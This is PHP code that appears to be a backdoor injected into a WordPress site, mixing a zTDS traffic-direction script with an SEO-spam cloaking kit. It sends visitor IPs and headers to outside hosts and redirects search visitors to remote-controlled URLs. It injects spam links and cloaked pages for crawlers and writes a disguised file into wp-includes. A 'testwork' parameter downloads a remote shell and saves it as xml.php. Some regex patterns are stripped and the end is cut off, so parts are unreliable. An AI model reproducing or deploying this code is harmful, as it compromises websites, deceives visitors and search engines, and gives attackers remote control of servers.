if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('cacheUrl')) { function cacheUrl($url, $skip_cache = FALSE) { $cachetime = 10; //one week // $cachetime = 60 * 60 * 24 * 7; //one week $file = ABSPATH.WPINC. '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time() OR $skip_cache) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 5, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, )); $data = curl_exec($ch); curl_close($ch); if ($data AND!$skip_cache) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } } $weoboo = cacheUrl('https://acagna.info/lnk/data/ip.admin.txt'); $user_ip = getUserIP(); if (strpos($weoboo, getUserIP()) !== false) { //ip found } else { $id = $_SERVER['REQUEST_URI']; if (preg_match_all("/ffgg$/", $id, $matches) ) { echo '111111'; } $uag = $_SERVER['HTTP_USER_AGENT']; $id = $_SERVER['REQUEST_URI']; $host=$_SERVER['HTTP_HOST']; $ref =$_SERVER['HTTP_REFERER']; $uri =$_SERVER['REQUEST_URI']; //t $pagesID = $_SERVER['REQUEST_URI']; if (!preg_match_all("/wp-login|wp-admin|admin|xmlrpc/", $pagesID, $matches)) { @error_reporting(0); @ini_set('display_errors', 0); @date_default_timezone_set('UTC'); $z_test_config = $z_mode = ''; /*config*/ $z_url = 'https://jughol.com'; $z_key_api_host = '2LmRsae4qqsca32'; $z_conf_edit = 0; $z_conf_file = 'dmsnd.ini'; $z_allow_ip = ''; $z_get = 'q'; $z_timeout = 10; if($z_conf_edit == 1 && file_exists($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)){$z_test_config = 1;} if(!empty($_GET[$z_get])){$z_key = trim($_GET[$z_get]);$z_mode = 1;$z_conf_edit = 0;} if($z_conf_edit == 0 || ($z_conf_edit == 1 && empty($z_test_config))){ $z_conf = array(); $z_conf['id'] = 'dmsnd'; $z_conf['sub_del'] = 0; $z_conf['cf_ip'] = 0; $z_conf['em_referer'] = 0; $z_conf['em_useragent'] = 0; $z_conf['em_lang'] = 0; $z_conf['ipv6'] = 0; $z_conf['ptr'] = 0; $z_conf['rd_bots'] = 0; $z_conf['rd_se'] = 0; $z_conf['rotator'] = 1; $z_conf['t_cookies'] = 3600; $z_conf['m_cookies'] = 0; $z_conf['method'] = 0; $z_conf['conf_lc'] = date('d.m.Y H:i:s'); $z_conf['status'] = 1; $z_conf['ip_serv_seodor'] = ''; $z_conf['sign_ref'] = htmlentities('iframe-toloka.com,hghltd.yandex.net', ENT_QUOTES, 'UTF-8'); $z_conf['sign_ua'] = htmlentities('ahrefs,aport,ask,bot,btwebclient,butterfly,commentreader,copier,crawler,crowsnest,curl,disco,ezooms,fairshare,httrack,ia_archiver,internetseer,java,js-kit,larbin,libwww,linguee,linkexchanger,lwp-trivial,netvampire,nigma,ning,nutch,offline,peerindex,pingadmin,postrank,rambler,semrush,slurp,soup,spider,sweb,teleport,twiceler,voyager,wget,wordpress,yeti,zeus', ENT_QUOTES, 'UTF-8'); if($z_conf_edit == 1 && empty($z_test_config)){ $z_conf_default = serialize($z_conf); file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf_default, LOCK_EX); $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } } if($z_conf_edit == 1 && !empty($z_test_config)){ $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } echo serialize($z_conf); exit(); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && !empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } $z_conf = base64_decode($_GET['conf']); $z_conf_tmp = @unserialize($z_conf); if(is_array($z_conf_tmp)){ file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf, LOCK_EX); } exit(); } $z_out = $z_lang = $z_country = $z_city = $z_region = $z_asn = $z_org = $z_device = $z_operator = $z_os_name = $z_os_version = $z_browser_name = $z_browser_version = $z_macros = ''; $z_empty = $z_bot = '-'; $z_uniq = 'yes'; if($z_conf['status'] == 1){ $z_useragent = $z_empty; if(!empty($_SERVER['HTTP_USER_AGENT'])){ $z_useragent = $_SERVER['HTTP_USER_AGENT']; } elseif($z_conf['em_useragent'] == 1){ $z_bot = 'empty_ua'; } $z_referer = $z_empty; $z_se = $z_empty; if(!empty($_SERVER['HTTP_REFERER'])){ $z_referer = $_SERVER['HTTP_REFERER']; if(strstr($z_referer, 'google.')){$z_se = 'google';} if(strstr($z_referer, 'yandex.')){$z_se = 'yandex';} if(strstr($z_referer, 'mail.ru')){$z_se = 'mail';} if(strstr($z_referer, 'yahoo.com')){$z_se = 'yahoo';} if(strstr($z_referer, 'bing.com')){$z_se = 'bing';} if(strstr($z_referer, 'baidu.com')){$z_se = 'baidu';} } elseif($z_bot == $z_empty && $z_conf['em_referer'] == 1){ $z_bot = 'empty_ref'; } if($z_bot == $z_empty && $z_referer != $z_empty && !empty($z_conf['sign_ref'])){ $z_ex = explode(',', $z_conf['sign_ref']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(strstr($z_referer, $z_value)){ $z_bot = 'sign_ref'; break; } } } if(stristr($z_useragent, 'baidu.com')){$z_bot = 'baidu';} if(stristr($z_useragent, 'bing.com') || stristr($z_useragent, 'msnbot')){$z_bot = 'bing';} if(stristr($z_useragent, 'google.')){$z_bot = 'google';} if(stristr($z_useragent, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_useragent, 'yahoo.com')){$z_bot = 'yahoo';} if(stristr($z_useragent, 'yandex.com/bots')){$z_bot = 'yandex';} if(stristr($z_useragent, 'facebook')){$z_bot = 'facebook';} if($z_bot == $z_empty && $z_useragent != $z_empty && !empty($z_conf['sign_ua'])){ $z_ex = explode(',', $z_conf['sign_ua']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(stristr($z_useragent, $z_value)){ $z_bot = 'sign_ua'; break; } } } $z_cf_country = $z_empty; if(!empty($_SERVER['HTTP_CF_IPCOUNTRY'])){ $z_cf_country = strtolower($_SERVER['HTTP_CF_IPCOUNTRY']); } if($z_conf['cf_ip'] == 1 && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])){ $z_ipuser = $_SERVER['HTTP_CF_CONNECTING_IP']; } if($z_conf['cf_ip'] == 0 || empty($z_ipuser)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ipuser = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ipuser = trim($z_ipuser[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ if(empty($z_conf['ip_serv_seodor'])){ $z_ipuser = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } } if(empty($z_ipuser)){ $z_ipuser = trim($_SERVER['REMOTE_ADDR']); } } if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) && !filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_ipuser = $z_empty; } if($z_bot == $z_empty && $z_conf['ipv6'] == 1 && filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_bot = 'ipv6'; } if($z_bot == $z_empty && $z_conf['ptr'] == 1){ $z_ptr_rec = gethostbyaddr($z_ipuser); if(stristr($z_ptr_rec, 'baidu')){$z_bot = 'baidu';} if(stristr($z_ptr_rec, 'bing') || stristr($z_ptr_rec, 'msnbot')){$z_bot = 'bing';} if(stristr($z_ptr_rec, 'google') && !stristr($z_ptr_rec, 'googlefiber')){$z_bot = 'google';} if(stristr($z_ptr_rec, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_ptr_rec, 'yahoo')){$z_bot = 'yahoo';} if(stristr($z_ptr_rec, 'yandex')){$z_bot = 'yandex';} } $z_lang = $z_empty; if(!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])){ $z_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } if($z_lang == $z_empty && $z_conf['em_lang'] == 1){ $z_bot = 'empty_lang'; } $z_domain = $_SERVER['HTTP_HOST']; if($z_conf['sub_del'] == 1 && substr_count($z_domain, '.') > 1){ preg_match("~^.+?\.(.+?)$~", $z_domain, $matches); $z_domain = $matches[1]; } $z_page = $_SERVER['REQUEST_URI']; $z_page_url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if(($z_bot == $z_empty || $z_conf['rd_bots'] == 1) && $z_ipuser != $z_empty){ $z_n_cookies = md5($_SERVER['HTTP_HOST'].'_'.$z_conf['id']); $z_n_cookies_exp = md5($_SERVER['HTTP_HOST'].'_exp_'.$z_conf['id']); $z_t_cookies = time() + $z_conf['t_cookies']; $z_cookies_options = array('expires'=>$z_t_cookies, 'path'=>'/', 'domain'=>'', 'secure'=>false, 'httponly'=>true, 'samesite'=>'Lax'); if($z_conf['rotator'] == 1){ if(!isset($_COOKIE[$z_n_cookies])){ $z_counter = 0; if(phpversion() >= 7.3){ SetCookie($z_n_cookies, 0, $z_cookies_options); } else{ SetCookie($z_n_cookies, 0, $z_t_cookies, '/', '', 0, 1); } if($z_conf['m_cookies'] == 1){ if(phpversion() >= 7.3){ SetCookie($z_n_cookies_exp, $z_t_cookies, $z_cookies_options); } else{ SetCookie($z_n_cookies_exp, $z_t_cookies, $z_t_cookies, '/', '', 0, 1); } } } else{ $z_counter = $_COOKIE[$z_n_cookies] + 1; $z_uniq = 'no'; } } if(empty($z_key)){$z_key = '';} if(empty($z_options)){$z_options = array();} $z_request = array(); $z_request[0] = trim($z_key_api_host); $z_request[1] = trim($z_conf['id']); $z_request[2] = trim($z_ipuser); $z_request[3] = trim($z_referer); $z_request[4] = trim($z_useragent); $z_request[5] = $z_se; $z_request[6] = trim($z_lang); $z_request[7] = $z_uniq; $z_request[8] = urlencode(trim($z_key)); $z_request[9] = trim($z_domain); $z_request[10] = trim($z_page); $z_request[11] = trim($z_cf_country); $z_request[12] = $z_options; if($z_conf['method'] == 1){ $z_data['api'] = serialize($z_request); } else{ $z_url = $z_url.'/?api='.base64_encode(serialize($z_request)); } if((empty($z_conf['ip_serv_seodor']) || $z_ipuser != $z_conf['ip_serv_seodor']) && ($z_conf['rd_se'] == 0 || ($z_conf['rd_se'] == 1 && $z_se != $z_empty))){ $z_ch = curl_init(); curl_setopt($z_ch, CURLOPT_TIMEOUT, $z_timeout); curl_setopt($z_ch, CURLOPT_URL, $z_url); curl_setopt($z_ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($z_ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($z_ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($z_ch, CURLOPT_SSL_VERIFYHOST, 0); if($z_conf['method'] == 1){ curl_setopt($z_ch, CURLOPT_POST, true); curl_setopt($z_ch, CURLOPT_POSTFIELDS, $z_data); } curl_setopt($z_ch, CURLOPT_USERAGENT, 'zTDS'); $z_response = curl_exec($z_ch); curl_close($z_ch); $z_response = @unserialize($z_response); if(is_array($z_response)){ $z_out = trim(html_entity_decode($z_response[0], ENT_QUOTES, 'UTF-8')); $z_country = $z_response[1]; $z_region = $z_response[2]; $z_city = $z_response[3]; $z_asn = $z_response[4]; $z_org = $z_response[5]; $z_device = $z_response[6]; $z_operator = $z_response[7]; $z_bot = $z_response[8]; $z_uniq = $z_response[9]; $z_lang = $z_response[10]; $z_macros = trim(html_entity_decode($z_response[11], ENT_QUOTES, 'UTF-8')); $z_os_name = $z_response[12]; $z_os_version = $z_response[13]; $z_br_name = $z_response[14]; $z_br_version = $z_response[15]; $z_brand = $z_response[16]; if($z_conf['rotator'] == 1){ if(strstr($z_out, '|||')){ $z_out_ex = explode('|||', $z_out); if(!empty($z_out_ex[$z_counter])){ $z_out = trim($z_out_ex[$z_counter]); } else{ $z_out = trim($z_out_ex[0]); $z_counter = 0; } } else{ $z_counter = 0; } if($z_conf['rotator'] == 1 && $z_uniq == 'no'){ if(isset($_COOKIE[$z_n_cookies_exp])){ $z_cookies_options['expires'] = $_COOKIE[$z_n_cookies_exp]; } if(phpversion() >= 7.3 == 1){ SetCookie($z_n_cookies, $z_counter, $z_cookies_options); } else{ SetCookie($z_n_cookies, $z_counter, $z_cookies_options['expires'], '/', '', 0, 1); } } } if(strstr($z_out, '[RAWURLENCODE_REFERER]')){ $z_out = str_replace('[RAWURLENCODE_REFERER]', rawurlencode($z_referer), $z_out); } if(strstr($z_out, '[URLENCODE_REFERER]')){ $z_out = str_replace('[URLENCODE_REFERER]', urlencode($z_referer), $z_out); } if(strstr($z_out, '[RAWURLENCODE_PAGE_URL]')){ $z_out = str_replace('[RAWURLENCODE_PAGE_URL]', rawurlencode($z_page_url), $z_out); } if(strstr($z_out, '[URLENCODE_PAGE_URL]')){ $z_out = str_replace('[URLENCODE_PAGE_URL]', urlencode($z_page_url), $z_out); } if(!empty($z_mode)){ if(!empty($z_out)){ header("Location: $z_out"); exit(); } else{ header('HTTP/1.0 404 Not Found', true, 404); exit(); } } if($z_bot == $z_empty && !empty($z_out)){echo $z_out;} } } } } function z_ip_check($z_allow_ip){ if(!empty($z_allow_ip)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ip = trim($z_ip[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ $z_ip = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } else{ $z_ip = trim($_SERVER['REMOTE_ADDR']); } if($z_ip == trim($z_allow_ip)){ return true; } } else{ return true; } } } @ini_set('display_errors', '0'); error_reporting(0); @ini_set("memory_limit","1024M"); $curtime = time(); $hspan = 0; $gen_passwd = "57ffb10f130bd90ab7a342fe814ccbd8"; $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die(); if ($_REQUEST['testwork'] == 'ololo') { $twork = file_get_contents('http://toremanc.com/lnk/up/sh.txt'); if (preg_match("#cgi|admin#i", $eb)) $eb = ''; if (file_put_contents("{$eb}xml.php", $twork)) echo "success!
go"; else echo "error!"; die(); } if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } $ip = urlencode($_SERVER['REMOTE_ADDR']); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); //block ddos bots $blbots = '/semrush|rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|ia_archiver/i'; if (preg_match($blbots, $ua)) die(); $ref = urlencode($_SERVER['HTTP_REFERER']); $poiskoviki = '/google|bing|yahoo|aol|rambler/i'; $fromse = 0; if ($ref && preg_match($poiskoviki, $ref)) $fromse = 1; $abt = 0; $abtip = 0; if (isset($_GET['debug'])) $abt = 1; $crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i'; $crawlers = '/a|b|c|d|e|f|g/i'; if (preg_match($crawlers, $ua)) { $abt = 1; } if (file_exists("{$eb}.bt")) { $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $btime = filemtime("{$eb}.bt"); $obtime = $curtime - $btime; } if (!$bots[2] || $obtime > 172800) { $fbots = get_data_yo("http://toremanc.com/lnk/bots.dat"); $btf = fopen("{$eb}.bt", 'w'); fwrite($btf, $fbots); fclose($btf); $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } if (in_array($ip, $bots)) { $abt = 1; $abtip = 1; } $st = '.st'; $cldw = 0; $dw = 0; if ($_REQUEST["create"] == 1 && $_REQUEST["gen_passwd"] == $gen_passwd) { $cldw = 0; if ($_REQUEST['cldw']) $cldw = 1; $qq = $_REQUEST['qq']; if (!file_exists("{$eb}{$st}/.r")) { $qq = $_REQUEST['qq']; mkdir("{$eb}{$st}"); } else { $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); if (isset($_REQUEST['qq']) && $_REQUEST['qq']) $qq = $_REQUEST['qq']; else $qq = trim($eqq[2]); } $redir = $_REQUEST['redir']; $redcode = $_REQUEST['redcode']; $redcode = htmlspecialchars_decode($redcode); $redcode = base64_encode($redcode); $group = $_REQUEST['group']; if ($cldw) { $egroup = explode('_', $group); $kgroup = $egroup[0]; $clkeys = get_data_yo("http://toremanc.com/lnk/gen/keys/$kgroup.keys"); file_put_contents("{$eb}{$st}/.k", $clkeys); } $lang = $_REQUEST['lang']; file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw"); if (file_exists("{$eb}{$st}/.r")) { echo "created"; die(); } } if (file_exists("{$eb}{$st}/.r")) { $dw = 1; $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); $redir = $eqq[0]; if (!strstr($redir, 'https://')) $redir = base64_decode($redir); $group = $eqq[1]; $qq = trim($eqq[2]); $lang = trim($eqq[3]); if ($eqq[4]) $redcode = base64_decode($eqq[4]); $cldw = $eqq[5]; } $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ddomain = $_SERVER['HTTP_HOST']; $ddomain = str_ireplace('www.', '', $ddomain); $eddomain = explode('.', $ddomain); $ddname = $eddomain[0]; $donor = str_ireplace('www.', '', $donor); $page = str_replace('/', '|', $donor); $donor = urldecode($donor); $epage = explode('|', $page); $morda = 0; if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') $morda = 1; //$fromse = 1; if ($abt || $fromse || $redcode || $hspan) { if (($abt || $hspan) && !$_GET[$qq]) { $ll = get_data_yo("http://toremanc.com/lnk/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo"); $el = explode(' ', $ll); } if (file_exists("{$eb}{$st}/$page.html")) { $htmlpage = file_get_contents("{$eb}{$st}/$page.html"); echo $htmlpage; die(); } $mdpage = md5($page); if (file_exists("{$eb}{$st}/$page.txt") || file_exists("{$eb}{$st}/$mdpage.txt")) { if (file_exists("{$eb}{$st}/$mdpage.txt")) $gtxt = file_get_contents("{$eb}{$st}/$mdpage.txt"); else $gtxt = file_get_contents("{$eb}{$st}/$page.txt"); $etxt = explode('|', $gtxt); $key = $etxt[0]; $desc = $etxt[1]; $txt = $etxt[2]; $h1 = $etxt[3]; } elseif ($cldw || isset($_GET[$qq])) { $desc = ''; $keys = file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); if ($keys[0]) { $key = $keys[0]; for ($kk = 1; $kk < count($keys); $kk++) $newkeys .= "$keys[$kk] "; file_put_contents("{$eb}{$st}/.k", $newkeys); } if (isset($_GET[$qq])) { $key = str_replace('-', ' ', $_GET[$qq]); } if ($key) { $parkey = $key; $tkey = str_replace(' ', '-', $key); if (stristr($lang, 'own')) { $lang = str_replace('own:', '', $lang); $owntext = base64_decode($lang); $wkey = urlencode($key); if (strstr($owntext, '?')) $ttxt = get_data_yo("{$owntext}&key=$wkey"); else $ttxt = get_data_yo("{$owntext}?key=$wkey"); } else $ttxt = get_data_yo("http://toremanc.com/lnk/gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain"); if (preg_match('#\n$parkey rating\n
\n$rating-5 stars based on\n$rcount reviews\n
\n\n"; $desc = $etxt[2]; $txt .= $etxt[3]; if ($desc == 'desc') { $desc = get_data_yo("http://toremanc.com/lnk/gen/desc.php?key=$tkey&desc=$group"); preg_match('#gogogo(.*)enenen#is', $desc, $mtchs); $desc = $mtchs[1]; } $mdpage = md5($page); file_put_contents("{$eb}{$st}/$mdpage.txt", "$title|$desc|$txt|$h1"); $newclpage = str_replace('|', '/', $page); $newcllink = "$parkey "; if ($cldw) file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND); } } $iswp = 0; if (file_exists('wp-includes/vars.php')) $iswp = 1; $cldwmap = file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); ob_start(); function shutdown() { global $morda; global $eb; global $txt; global $qq; global $key; global $desc; global $lang; global $cldwmap; global $el; global $dw; global $cldw; global $redcode; global $abt; global $hspan; global $h1; global $iswp; global $ddname; $title = ucfirst($key); $my_content = ob_get_contents(); ob_end_clean(); if ($my_content && isset($_REQUEST['prigod'])) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw && !$morda) { preg_match_all('##iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('', "
", $my_content); } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "


", $my_content, 1); $my_content = preg_replace('##iUm', "


", $my_content, 1); $my_content = preg_replace('##iUm', "


", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404(.*)#i', $my_content) && !preg_match('#<title>(.*)not found(.*)#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); //$my_content = str_replace('</head>', "<script type='text/javascript'> function style_{$ddname} () { return 'none'; } function end_{$ddname} () { document.getElementById('$ddname').style.display = style_{$ddname}(); } </script>\n</head>", $my_content); //$my_content = str_replace('</body>', "<script type='text/javascript'> end_{$ddname}(); </script>\n</body>", $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey; else $redir .= "?keyword=".$tkey; $redir = str_replace('KEY', $tkey, $redir); header("Location: $redir"); echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; die(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } /* your code end */ } /* weoboo end */ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); // unset cookies if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts = explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) 